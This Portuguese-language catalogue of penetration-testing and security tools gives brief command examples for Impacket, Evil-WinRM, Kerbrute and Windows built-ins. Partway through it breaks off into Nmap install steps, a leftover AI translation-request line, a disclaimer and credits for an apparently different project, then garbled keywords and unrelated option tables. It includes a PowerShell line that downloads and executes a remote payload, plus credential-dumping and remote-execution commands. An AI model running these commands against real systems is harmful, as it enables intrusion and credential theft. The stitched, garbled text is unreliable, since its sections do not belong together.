O **Kali Linux** é uma distribuição Linux baseada em Debian projetada para forense digital e testes de penetração. Ele é mantido e financiado pela Offensive Security Ltd. O Kali Linux é pré-instalado com inúmeras ferramentas de teste de penetração, incluindo o Metasploit, Nmap, Wireshark e muitos outros.
### Parrot OS
O **Parrot OS** é uma distribuição Linux baseada em Debian projetada para segurança, privacidade e desenvolvimento. Ele inclui uma coleção completa de ferramentas de teste de penetração e é uma alternativa popular ao Kali Linux.
### BlackArch
O **BlackArch Linux** é uma distribuição Linux baseada em Arch Linux para testadores de penetração e pesquisadores de segurança. Ele fornece mais de 2800 ferramentas que podem ser instaladas individualmente ou em grupos.
### Tails
O **Tails** é um sistema operacional ao vivo que visa preservar a privacidade e o anonimato. Ele ajuda você a usar a internet de forma anônima e contornar a censura, já que todas as conexões de saída são forçadas a passar pela rede Tor.
### Whonix
O **Whonix** é um sistema operacional desktop focado em anonimato, segurança e privacidade baseado no Tor. Ele consiste em duas máquinas virtuais, uma "Gateway de Trabalho" e uma "Estação de Trabalho", rodando Debian Linux.
### Qubes OS
O **Qubes OS** é um sistema operacional desktop gratuito e de código aberto que visa fornecer segurança por meio do isolamento. Ele usa virtualização baseada em Xen para isolar programas em máquinas virtuais separadas chamadas qubes.
### Tor Browser
O **Tor Browser** é um navegador web focado em privacidade e anonimato. Ele roteia o tráfego da web através da rede Tor, ocultando seu endereço IP e localização e permitindo que você acesse a internet de forma anônima.
### VeraCrypt
O **VeraCrypt** é um software de criptografia de disco de código aberto. Ele é usado para criptografia on-the-fly e pode criar um disco virtual criptografado dentro de um arquivo ou criptografar uma partição ou dispositivo de armazenamento inteiro.
### GnuPG
O **GnuPG** (GNU Privacy Guard) é uma ferramenta de criptografia e assinatura digital gratuita. Ele é uma implementação completa e gratuita do padrão OpenPGP e é usado para criptografar e assinar dados e comunicações.
```bash
# Gerar uma chave
gpg --gen-key
# Criptografar um arquivo
gpg -c arquivo.txt
```
### OpenSSL
O **OpenSSL** é uma biblioteca de software robusta, comercialmente completa e de código aberto, e um kit de ferramentas para os protocolos TLS e SSL. Ele também é uma biblioteca de criptografia de propósito geral.
```bash
# Gerar uma chave privada RSA
openssl genrsa -out chave_privada.pem 2048
# Gerar um certificado autoassinado
openssl req -new -x509 -key chave_privada.pem -out certificado.pem -days 365
```
### HashiCorp Vault
O **Vault** é uma ferramenta para acesso seguro a segredos. Um segredo é qualquer coisa que você queira controlar de perto, como chaves de API, senhas ou certificados. O Vault fornece uma interface unificada para qualquer segredo, controle de acesso rigoroso e registro de auditoria detalhado.
### CyberChef
O **CyberChef** é uma aplicação web simples e intuitiva para executar operações "cibernéticas" dentro de um navegador. Essas operações incluem codificação e decodificação simples, criptografia, conversão de dados, cálculo de hash e muito mais.
### GDB
O **GDB** (GNU Debugger) é o depurador padrão para o sistema de software GNU. Ele é um depurador portátil que roda em muitos sistemas Unix e funciona para muitas linguagens de programação, incluindo Ada, C, C++, Go, Objective-C, OpenCL, Pascal, Rust e muito mais.
```bash
# Compilar com símbolos de depuração
gcc -g programa.c -o programa
# Executar o GDB
gdb ./programa
```
### Ghidra
O **Ghidra** é uma estrutura de engenharia reversa de software (SRE) criada e mantida pela Diretoria de Pesquisa da NSA. Esta estrutura inclui um conjunto de ferramentas de análise de software de alto nível, incluindo ferramentas de análise de código, descompiladores, gráficos e scripts.
### IDA Pro
O **IDA Pro** (Interactive Disassembler Professional) é um desmontador e depurador proprietário de software multiarquitetura. Ele é uma das ferramentas de engenharia reversa mais poderosas e amplamente utilizadas disponíveis.
### Radare2
O **Radare2** é uma estrutura completa para engenharia reversa e análise de binários. Ele é composto por um conjunto de pequenas utilidades que podem ser usadas juntas para executar uma ampla variedade de tarefas de análise de binários.
```bash
# Abrir um binário
r2 ./programa
# Análise automática
aaa
# Listar funções
afl
```
### x64dbg
O **x64dbg** é um depurador de código aberto para Windows, projetado para análise de malware e engenharia reversa de executáveis de 32 e 64 bits. Ele tem uma interface gráfica amigável e muitos recursos poderosos.
### OllyDbg
O **OllyDbg** é um depurador de modo usuário de 32 bits para Windows que enfatiza a análise de código binário. Ele é particularmente útil para casos onde a origem é inacessível, como quando você está depurando malware ou verificando correções de segurança.
### Immunity Debugger
O **Immunity Debugger** é um depurador poderoso e uma ferramenta de escrita de exploits. Ele é baseado no OllyDbg e inclui um ambiente de script Python integrado que o torna uma ferramenta popular para desenvolvimento de exploits e análise de malware.
### Process Monitor (ProcMon)
O **Process Monitor** é uma ferramenta avançada de monitoramento para Windows que mostra atividade do sistema de arquivos, registro e processo em tempo real. Ele combina os recursos de duas utilidades legadas do Sysinternals, Filemon e Regmon.
### Process Explorer
O **Process Explorer** mostra a você informações sobre quais identificadores e DLLs de processos foram abertos ou carregados. A interface de exibição de dois painéis exclusiva do Process Explorer torna fácil ver a hierarquia de processos e as informações sobre os processos que estão rodando em seu sistema.
### Sysinternals Suite
O **Sysinternals Suite** é um pacote de utilitários de administração e diagnóstico avançados para Windows. Ele inclui ferramentas como Process Explorer, Process Monitor, Autoruns, PsTools e muitas outras que são inestimáveis para administradores de sistema e profissionais de segurança.
### PowerShell Empire
O **PowerShell Empire** é uma estrutura de pós-exploração pura baseada em PowerShell. Ele combina a capacidade de executar agentes sem precisar de powershell.exe, com rápidas adaptações e implementações criptografadas e resilientes.
### Covenant
O **Covenant** é uma estrutura de comando e controle (C2) .NET colaborativa para testes de penetração. Ele é uma ferramenta de código aberto que visa destacar o uso de .NET para ataques de pós-exploração.
### Sliver
O **Sliver** é uma estrutura de comando e controle (C2) de código aberto, multiplataforma, que pode ser usada por equipes de segurança ofensiva, pesquisadores de segurança e entusiastas. Ele foi projetado para ser flexível e fácil de usar.
### Mythic
O **Mythic** é uma estrutura de comando e controle (C2) multiplataforma, de código aberto, projetada para operações de equipe vermelha. Ele fornece uma interface web para gerenciar agentes e tarefas, e suporta múltiplos perfis de agente.
### Havoc
O **Havoc** é uma estrutura moderna e extensível de comando e controle (C2) pós-exploração. Ele é uma ferramenta de código aberto que fornece uma interface gráfica de usuário para gerenciar agentes e executar tarefas de pós-exploração.
### Ligolo-ng
O **Ligolo-ng** é uma ferramenta simples, leve e rápida para estabelecer túneis a partir de um computador comprometido sem a necessidade de um agente. Ele usa o TUN/TAP para criar um túnel de rede.
### Chisel
O **Chisel** é uma ferramenta de tunelamento TCP/UDP rápida, transportada sobre HTTP, protegida por SSH. Ele é usado para criar túneis através de firewalls e outros controles de rede.
### Neo-reGeorg
O **Neo-reGeorg** é uma ferramenta de tunelamento HTTP que permite que você acesse redes internas através de um servidor web comprometido. Ele é uma versão melhorada do reGeorg original.
### Stowaway
O **Stowaway** é uma ferramenta de proxy de múltiplos saltos para equipes vermelhas. Ele permite que você estabeleça proxies através de múltiplos hosts comprometidos para acessar redes internas.
### Termite
O **Termite** é uma ferramenta de proxy de múltiplos saltos para equipes vermelhas. Ele é projetado para ser leve e fácil de usar, e suporta múltiplos protocolos de comunicação.
### EarthWorm
O **EarthWorm** é uma ferramenta para estabelecer túneis SOCKS5 através de hosts comprometidos. Ele é usado para pivotar através de redes e acessar sistemas internos.
### Venom
O **Venom** é uma ferramenta de tunelamento e proxy de múltiplos saltos. Ele é usado para estabelecer túneis através de hosts comprometidos e acessar redes internas.
### Fscan
O **Fscan** é uma ferramenta de varredura de rede e verificação de vulnerabilidades de código aberto. Ele é rápido e fácil de usar, e suporta uma ampla variedade de verificações.
### Ladon
O **Ladon** é uma ferramenta de varredura de rede e verificação de vulnerabilidades. Ele é projetado para ser rápido e eficiente, e suporta uma ampla variedade de verificações.
### SMBClient
O **SMBClient** é uma ferramenta de linha de comando para interagir com compartilhamentos SMB. Ele é parte do pacote Samba e é usado para acessar e gerenciar compartilhamentos de arquivos em servidores Windows e Samba.
```bash
# Listar compartilhamentos
smbclient -L //192.168.1.1
# Conectar a um compartilhamento
smbclient //192.168.1.1/compartilhamento
```
### Impacket
O **Impacket** é uma coleção de classes Python para trabalhar com protocolos de rede. Ele é usado para construir ferramentas de rede e é particularmente útil para testes de penetração e exploração de protocolos Windows.
```bash
# Executar o secretsdump
secretsdump.py dominio/usuario:[email protected]
```
### CrackMapExec
O **CrackMapExec** (CME) é uma ferramenta de pós-exploração suíça que ajuda a automatizar a avaliação da segurança de grandes redes Active Directory. Ele é usado para enumerar, testar e explorar sistemas Windows.
```bash
# Enumerar compartilhamentos SMB
cme smb 192.168.1.0/24
```
### NetExec
O **NetExec** é um fork do CrackMapExec. Ele é uma ferramenta de pós-exploração que ajuda a automatizar a avaliação da segurança de grandes redes Active Directory.
### Evil-WinRM
O **Evil-WinRM** é uma shell WinRM para testes de penetração. Ele fornece uma shell interativa para sistemas Windows que têm o WinRM habilitado.
```bash
# Conectar via WinRM
evil-winrm -i 192.168.1.1 -u usuario -p senha
```
### PsExec
O **PsExec** é uma ferramenta leve do Sysinternals que permite que você execute processos em sistemas remotos. Ele é frequentemente usado para execução remota de comandos em testes de penetração.
```bash
# Executar comando remoto
psexec.py dominio/usuario:[email protected]
```
### WMIexec
O **WMIexec** é uma ferramenta que permite a execução remota de comandos via WMI. Ele é parte do Impacket e é usado para executar comandos em sistemas Windows remotos.
```bash
# Executar comando via WMI
wmiexec.py dominio/usuario:[email protected]
```
### SMBexec
O **SMBexec** é uma ferramenta que permite a execução remota de comandos via SMB. Ele é parte do Impacket e é usado para executar comandos em sistemas Windows remotos.
### DCOMexec
O **DCOMexec** é uma ferramenta que permite a execução remota de comandos via DCOM. Ele é parte do Impacket e é usado para executar comandos em sistemas Windows remotos.
### Kerbrute
O **Kerbrute** é uma ferramenta para realizar ataques de força bruta e enumeração de usuários contra o Kerberos. Ele é usado para enumerar usuários válidos e testar senhas fracas em ambientes Active Directory.
```bash
# Enumerar usuários
kerbrute userenum -d dominio.local usuarios.txt
```
### Rubeus
O **Rubeus** é uma ferramenta C# para ataques e abusos do Kerberos. Ele é usado para ataques de pass-the-ticket, requisição de tickets, ataques de força bruta e muito mais.
### PowerView
O **PowerView** é uma ferramenta PowerShell para enumeração e abuso do Active Directory. Ele é parte do PowerSploit e é usado para mapear e explorar ambientes Active Directory.
### ADRecon
O **ADRecon** é uma ferramenta que coleta informações sobre um ambiente Active Directory. Ele gera um relatório abrangente que pode ser usado para análise de segurança.
### PingCastle
O **PingCastle** é uma ferramenta que avalia o nível de segurança de um Active Directory. Ele fornece um relatório de risco que identifica vulnerabilidades e recomendações de melhoria.
### Purple Knight
O **Purple Knight** é uma ferramenta gratuita que avalia a postura de segurança do seu Active Directory. Ele fornece um relatório de pontuação que identifica riscos de segurança e recomendações.
### HardenAD
O **HardenAD** é uma ferramenta que ajuda a endurecer a segurança do Active Directory. Ele fornece recomendações e scripts para implementar controles de segurança.
### LAPSToolkit
O **LAPSToolkit** é uma ferramenta para auditar e gerenciar o LAPS (Local Administrator Password Solution). Ele é usado para encontrar computadores com LAPS habilitado e auditar a segurança das senhas de administrador local.
### ADModule
O **ADModule** é um módulo PowerShell para interagir com o Active Directory. Ele é usado para enumeração e gerenciamento de objetos AD.
### DSInternals
O **DSInternals** é um módulo PowerShell para auditoria e gerenciamento do Active Directory. Ele fornece cmdlets para interagir com o AD em um nível baixo.
### ADFind
O **ADFind** é uma ferramenta de linha de comando para consultar o Active Directory. Ele é usado para enumeração e pesquisa de objetos AD.
### LDAPSearch
O **LDAPSearch** é uma ferramenta de linha de comando para consultar diretórios LDAP. Ele é usado para enumeração e pesquisa de objetos em diretórios LDAP, incluindo o Active Directory.
```bash
# Consultar o AD
ldapsearch -x -H ldap://192.168.1.1 -b "dc=dominio,dc=local"
```
### Nltest
O **Nltest** é uma ferramenta de linha de comando do Windows para testar e gerenciar relações de confiança do Active Directory. Ele é usado para enumerar controladores de domínio e relações de confiança.
### Dsquery
O **Dsquery** é uma ferramenta de linha de comando do Windows para consultar o Active Directory. Ele é usado para encontrar objetos AD que correspondam a critérios específicos.
### Net
O **Net** é um comando do Windows usado para gerenciar recursos de rede. Ele é frequentemente usado para enumeração de usuários, grupos, compartilhamentos e sessões em ambientes Windows.
```bash
# Listar usuários
net user
# Listar grupos
net group
# Listar compartilhamentos
net share
```
### Whoami
O **Whoami** é um comando do Windows que exibe informações sobre o usuário atual. Ele é usado para determinar o nome de usuário, grupos e privilégios.
```bash
# Exibir informações do usuário
whoami /all
```
### Systeminfo
O **Systeminfo** é um comando do Windows que exibe informações abrangentes sobre o sistema. Ele é usado para coletar informações sobre o sistema operacional, hardware e configuração.
```bash
# Exibir informações do sistema
systeminfo
```
### Reg
O **Reg** é um comando do Windows para interagir com o registro do Windows. Ele é usado para consultar, adicionar, modificar e excluir chaves e valores do registro.
```bash
# Consultar uma chave do registro
reg query HKLM\Software
```
### Schtasks
O **Schtasks** é um comando do Windows para agendar tarefas. Ele é usado para criar, consultar, modificar e excluir tarefas agendadas.
```bash
# Criar uma tarefa agendada
schtasks /create /tn "Tarefa" /tr "cmd.exe" /sc once /st 00:00
```
### Wmic
O **Wmic** é uma ferramenta de linha de comando do Windows para interagir com o WMI (Windows Management Instrumentation). Ele é usado para consultar informações do sistema e executar ações administrativas.
```bash
# Consultar informações do sistema
wmic os get caption,version
```
### PowerShell
O **PowerShell** é uma estrutura de automação de tarefas e gerenciamento de configuração da Microsoft. Ele é usado extensivamente em testes de penetração para execução de comandos, enumeração e pós-exploração.
```powershell
# Executar um comando
Get-Process
# Baixar e executar um payload
IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
```
### CMD
O **CMD** (Prompt de Comando) é o interpretador de linha de comando do Windows. Ele é usado para executar comandos e scripts em sistemas Windows.
```cmd
:: Exibir informações do sistema
systeminfo
:: Listar arquivos
dir
```
### Bash
O **Bash** (Bourne Again Shell) é um shell Unix e linguagem de comando. Ele é o shell padrão em muitas distribuições Linux e macOS, e é usado extensivamente em testes de penetração.
```bash
# Executar um comando
whoami
# Listar arquivos
ls -la
```
### Zsh
O **Zsh** (Z Shell) é um shell Unix poderoso que é um superset do Bash. Ele é o shell padrão no macOS e é popular entre usuários avançados.
### Python
O **Python** é uma linguagem de programação de alto nível e propósito geral. Ele é amplamente usado em testes de penetração para escrever scripts, ferramentas e exploits.
```python
# Exemplo de script Python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(b"GET / HTTP/1.1\r\nHost: 192.168.1.1\r\n\r\n")
print(s.recv(1024))
s.close()
```
### Perl
O **Perl** é uma linguagem de programação de alto nível e propósito geral. Ele é usado em testes de penetração para escrever scripts e ferramentas, particularmente para processamento de texto e tarefas de rede```
sudo apt install nmap
```
- **Fedora**```
sudo dnf install nmap
```
- **Arch Linux / Manjaro**```
sudo pacman -Sy nmap
```
Para outras distribuições Linux, consulte: [Download do Nmap](https://nmap.org/download.html)
#### macOS
Abra um terminal e execute o seguinte comando:```
brew install nmap
```
Ou visite: [Download do Nmap](https://nmap.org/download.html)
#### Windows
Baixe e instale a versão estável mais recente: [Nmap para Windows](https://nmap.org/download.html#windows)
#### Termux```
pkg update
```
I'm ready to translate the Kitploit tool content from English to Portuguese. Please provide the Markdown content you'd like me to translate.```
pkg install nmap
```
---
## Aviso Legal
- Este projeto e seu desenvolvedor não promovem qualquer atividade ilegal e não são responsáveis por qualquer uso indevido ou dano causado por este projeto.
- Este projeto tem fins exclusivamente educacionais.
- Por favor, não use esta ferramenta em dispositivos de outras pessoas sem a permissão delas.
- Não use esta ferramenta para prejudicar outras pessoas.
- Use este projeto com responsabilidade e apenas em seus próprios dispositivos ou com autorização explícita.
- É responsabilidade do usuário final obedecer a todas as leis locais, estaduais, federais e internacionais aplicáveis.
---
## Desenvolvedor
<a href="https://github.com/azeemidrisi/">
<!-- <img src="https://contrib.rocks/image?repo=azeemidrisi/phonesploit-pro" /> -->
</a>
**Azeem Idrisi** - [@AzeemIdrisi](https://github.com/azeemidrisi/)
## Suporte
Se você gosta do meu trabalho, pode me apoiar via:
<a href="https://paypal.me/AzeemIdrisi" target="_blank"> <kbd> <img
src="https://raw.githubusercontent.com/AzeemIdrisi/AzeemIdrisi/main/docs/paypal-button-blue.png" alt="PayPal"
width="147"></a> <a href="https://www.buymeacoffee.com/AzeemIdrisi" target="_blank"> <kbd> <img src="https://raw.githubusercontent.com/AzeemIdrisi/AzeemIdrisi/main/docs/default-yellow.png" alt="Buy Me A Coffee" width="200"></a>
<hr>
Copyright © 2026 Azeem Idrisi (github.com/AzeemIdrisi)
SystemRecoveryBootloaderFastbootendereço IPLHOSTmsfvenommeterpretermeterpreter55555554logcatlogcatsvc power stayonwm sizeWxHwm densitywm scaling| Flag | Descrição |
|---|
-u, -target | URL ou host de destino |
-l, -list | Arquivo contendo uma lista de hosts |
-t, -templates | Template ou diretório de templates a serem executados |
-tl | Lista todos os templates disponíveis |
-severity | Filtra por severidade (info, low, medium, high, critical) |
-json | Saída em formato JSON |
-o, -output | Arquivo para salvar a saída |
-silent | Exibe apenas os resultados |
-v, -verbose | Exibe informações detalhadas |
| Opção | Descrição | Padrão |
|---|
--target | URL ou endereço IP de destino | Obrigatório |
--threads | Número de threads simultâneas | 5 |
--timeout | Tempo limite da solicitação em segundos | 10 |
--output | Caminho do arquivo de saída | stdout |
--verbose | Habilita a saída detalhada | False |
TOOL_API_KEY | Chave de API para serviços externos |
TOOL_PROXY | URL do proxy para todas as solicitações |
TOOL_DEBUG | Define como true para habilitar logs de depuração |
TOOL_CONFIG | Caminho para um arquivo de configuração alternativo |
| Código | Significado |
|---|
400 | Solicitação inválida |
401 | Não autenticado |
403 | Acesso negado |
404 | Recurso não encontrado |
429 | Limite de taxa excedido |
500 | Erro interno do servidor |